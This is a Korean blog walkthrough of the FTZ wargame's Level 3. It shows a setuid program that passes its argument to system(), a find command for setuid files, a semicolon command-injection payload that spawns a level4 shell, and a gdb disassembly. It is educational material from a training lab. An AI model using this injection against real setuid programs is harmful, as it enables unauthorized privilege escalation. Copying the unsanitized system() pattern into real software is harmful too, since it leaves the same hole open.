Phantom

FTZ Level3 본문

Pwnable/[Wargame] FTZ

FTZ Level3

Ph4nt0m_ 2016. 3. 18. 09:19
반응형

[level3@ftz level3]$ cat hint

 

 

다음 코드는 autodig의 소스이다.

 

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

 

int main(int argc, char **argv){

 

char cmd[100];

 

if( argc!=2 ){

printf( "Auto Digger Version 0.9\n" );

printf( "Usage : %s host\n", argv[0] );

exit(0);

}

 

strcpy( cmd, "dig @" );

strcat( cmd, argv[1] );

strcat( cmd, " version.bind chaos txt");

 

system( cmd );

 

}

 

이를 이용하여 level4의 권한을 얻어라.

 

more hints.

- 동시에 여러 명령어를 사용하려면?

- 문자열 형태로 명령어를 전달하려면?

 

이번 문제는 DNS서버로부터 정보를 가져올수 있는 툴 dig를 이용해 문제를 풀어야 한다

 

그리고 힌트를 두 개 제시한다

 

- 동시에 여러 명령어를 사용하려면?

- 문자열 형태로 명령어를 전달하려면?

 

동시에 여러 명령어를 사용하기 위한 것은 파이프( | ), 세미콜론( ; ) 이 있다

 

그리고 문자열 형태로 명령어를 전달하는 것이라는 힌트는 아마도 더블 쿼티( " " )일거라 생각된다

 

나는 개인적으로 혼란이 왔다 매번 느끼지만 멘붕이다 이거 가지고 뭘 하란건지

 

일단 하던대로 find부터 했다

 

[level3@ftz level3]$ find / -user level4 -perm +4000 2>/dev/null

/bin/autodig

[level3@ftz level3]$ ls -l /bin/autodig

-rwsr-x--- 1 level4 level3 12194 9월 10 2011 /bin/autodig

 

파일이 나왔다 이 파일의 소스를 분석해보자

 

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

 

int main(int argc, char **argv){

 

char cmd[100];

 

if( argc!=2 ){                // 인자가 2개가 아니면 다음을 실행하고 종료

printf( "Auto Digger Version 0.9\n" );

printf( "Usage : %s host\n", argv[0] );

exit(0);

}

 

strcpy( cmd, "dig @" );            

strcat( cmd, argv[1] );

strcat( cmd, " version.bind chaos txt");        "dig @ argv[1] version.bind chaos txt"

 

system( cmd );                cmd배열의 값을 실행

 

}

 

잘은 모르겠지만 dig명령어를 문구를 붙여서 실행하는 프로그램 같다

 

일단 dig를 사용해야 하며 쉘을 띄워야 하고 음..그래서 더블 쿼티와 세미콜론을 사용해 봤다

 

[level3@ftz level3]$ /bin/autodig "8.8.8.8;/bin/sh"

 

; <<>> DiG 9.2.1 <<>> @8.8.8.8

;; global options: printcmd

;; Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 18914

;; flags: qr rd ra; QUERY: 1, ANSWER: 13, AUTHORITY: 0, ADDITIONAL: 0

 

;; QUESTION SECTION:

;.                IN    NS

 

;; ANSWER SECTION:

.            16975    IN    NS    a.root-servers.net.

.            16975    IN    NS    b.root-servers.net.

.            16975    IN    NS    c.root-servers.net.

.            16975    IN    NS    d.root-servers.net.

.            16975    IN    NS    e.root-servers.net.

.            16975    IN    NS    f.root-servers.net.

.            16975    IN    NS    g.root-servers.net.

.            16975    IN    NS    h.root-servers.net.

.            16975    IN    NS    i.root-servers.net.

.            16975    IN    NS    j.root-servers.net.

.            16975    IN    NS    k.root-servers.net.

.            16975    IN    NS    l.root-servers.net.

.            16975    IN    NS    m.root-servers.net.

 

;; Query time: 49 msec

;; SERVER: 8.8.8.8#53(8.8.8.8)

;; WHEN: Sat Nov 8 19:08:32 2014

;; MSG SIZE rcvd: 228

 

version.bind: version.bind: 그런 파일이나 디렉토리가 없음

 

다음과 같이 뜬다

 

뭐가 문제일까

 

나중에 결과를 검색해서 본거지만 명령어 마지막에 더블쿼티틀 닫기 전에 세미콜론을 한번 더 넣어야 한다는걸 알았다

 

물론 이 방법 말고도 많은 방법이 있다

 

다음과 같이 실행했다

 

[level3@ftz level3]$ /bin/autodig "8.8.8.8;/bin/sh;"

 

; <<>> DiG 9.2.1 <<>> @8.8.8.8

;; global options: printcmd

;; Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 31636

;; flags: qr rd ra; QUERY: 1, ANSWER: 13, AUTHORITY: 0, ADDITIONAL: 0

 

;; QUESTION SECTION:

;.                IN    NS

 

;; ANSWER SECTION:

.            16761    IN    NS    f.root-servers.net.

.            16761    IN    NS    k.root-servers.net.

.            16761    IN    NS    b.root-servers.net.

.            16761    IN    NS    j.root-servers.net.

.            16761    IN    NS    l.root-servers.net.

.            16761    IN    NS    h.root-servers.net.

.            16761    IN    NS    m.root-servers.net.

.            16761    IN    NS    g.root-servers.net.

.            16761    IN    NS    c.root-servers.net.

.            16761    IN    NS    a.root-servers.net.

.            16761    IN    NS    i.root-servers.net.

.            16761    IN    NS    e.root-servers.net.

.            16761    IN    NS    d.root-servers.net.

 

;; Query time: 58 msec

;; SERVER: 8.8.8.8#53(8.8.8.8)

;; WHEN: Sat Nov 8 19:12:04 2014

;; MSG SIZE rcvd: 228

 

sh-2.05b$

 

쉘이 떴다 id를 입력해봤다

 

sh-2.05b$ id

uid=3004(level4) gid=3003(level3) groups=3003(level3)

 

권한이 상승됐다

 

이로써 level4를 클리어했다

 

다음은 /bin/autodig를 디버깅한 것이다

 

0x08048430 <main+0>:    push ebp

0x08048431 <main+1>:    mov ebp,esp

0x08048433 <main+3>:    sub esp,0x78            //스택 프레임 120바이트 할당

--------------------------------------------------------------------------------------------------------------

0x08048436 <main+6>:    and esp,0xfffffff0

0x08048439 <main+9>:    mov eax,0x0

0x0804843e <main+14>:    sub esp,eax

0x08048440 <main+16>:    cmp DWORD PTR [ebp+8],0x2        //인자가 2개가 아닐시

0x08048444 <main+20>:    je 0x8048475 <main+69>    "Auto Digger Version 0.9\n"

0x08048446 <main+22>:    sub esp,0xc            "Usage : %s host\n"

0x08048449 <main+25>:    push 0x8048588        를 출력하고 exit함수 실행 후 종료

0x0804844e <main+30>:    call 0x8048340 <printf>

0x08048453 <main+35>:    add esp,0x10

0x08048456 <main+38>:    sub esp,0x8

0x08048459 <main+41>:    mov eax,DWORD PTR [ebp+12]

0x0804845c <main+44>:    push DWORD PTR [eax]

0x0804845e <main+46>:    push 0x80485a1

0x08048463 <main+51>:    call 0x8048340 <printf>

0x08048468 <main+56>:    add esp,0x10

0x0804846b <main+59>:    sub esp,0xc

0x0804846e <main+62>:    push 0x0

0x08048470 <main+64>:    call 0x8048360 <exit>

0x08048475 <main+69>:    sub esp,0x8

--------------------------------------------------------------------------------------------------------------

0x08048478 <main+72>:    push 0x80485b2

0x0804847d <main+77>:    lea eax,[ebp-120]

0x08048480 <main+80>:    push eax

0x08048481 <main+81>:    call 0x8048370 <strcpy>

0x08048486 <main+86>:    add esp,0x10

0x08048489 <main+89>:    sub esp,0x8

0x0804848c <main+92>:    mov eax,DWORD PTR [ebp+12] dig @ argv[1] version.bind chaos txt

0x0804848f <main+95>:    add eax,0x4            를 실행

0x08048492 <main+98>:    push DWORD PTR [eax]

0x08048494 <main+100>:    lea eax,[ebp-120]

0x08048497 <main+103>:    push eax

0x08048498 <main+104>:    call 0x8048330 <strcat>

0x0804849d <main+109>:    add esp,0x10

0x080484a0 <main+112>:    sub esp,0x8

0x080484a3 <main+115>:    push 0x80485b8

0x080484a8 <main+120>:    lea eax,[ebp-120]

0x080484ab <main+123>:    push eax

0x080484ac <main+124>:    call 0x8048330 <strcat>

0x080484b1 <main+129>:    add esp,0x10

0x080484b4 <main+132>:    sub esp,0x8

--------------------------------------------------------------------------------------------------------------

0x080484b7 <main+135>:    push 0xbbc

0x080484bc <main+140>:    push 0xbbc

0x080484c1 <main+145>:    call 0x8048350 <setreuid>    //setreuid(3004,3004) 실행

0x080484c6 <main+150>:    add esp,0x10

0x080484c9 <main+153>:    sub esp,0xc

--------------------------------------------------------------------------------------------------------------

0x080484cc <main+156>:    lea eax,[ebp-120]

0x080484cf <main+159>:    push eax

0x080484d0 <main+160>:    call 0x8048310 <system> system(cmd) 실행

---Type <return> to continue, or q <return> to quit---

0x080484d5 <main+165>:    add esp,0x10

0x080484d8 <main+168>:    leave

0x080484d9 <main+169>:    ret

0x080484da <main+170>:    nop

0x080484db <main+171>:    nop

반응형

'Pwnable > [Wargame] FTZ' 카테고리의 다른 글

FTZ Level6  (0) 2016.03.18
FTZ Level5  (0) 2016.03.18
FTZ Level4  (0) 2016.03.18
FTZ Level2  (0) 2016.03.18
FTZ Level1  (0) 2016.03.18
Comments